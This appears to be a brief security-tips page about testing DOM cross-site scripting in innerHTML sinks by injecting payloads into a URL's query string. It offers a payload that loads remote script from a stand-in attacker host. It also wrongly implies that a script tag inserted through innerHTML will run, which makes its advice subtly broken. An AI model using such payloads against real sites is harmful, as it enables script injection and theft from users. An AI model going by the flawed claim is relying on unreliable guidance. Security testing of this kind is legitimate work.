Test innerHTML sinks for DOM XSS

Cross-site scripting (XSS)Discovery

Written with a model's help from “Cross-Site Scripting | DOM XSS” by Ahmad Solehudin on Medium (xss-attack). Read the writeup before relying on it.

Try injecting payloads in the location.search parameter to test for DOM XSS vulnerabilities in innerHTML sinks. This works because user-controlled input in the URL query string can be reflected in the page's DOM. To confirm, look for your payload being executed in the page's context. You can use a payload like <script src='//attacker.example/poc.js'></script> to test for XSS.

Follow #dom-xss or #xss for new tips like this one, on your notifications page and, if you choose, in a daily or weekly email.

Comments

No comments yet.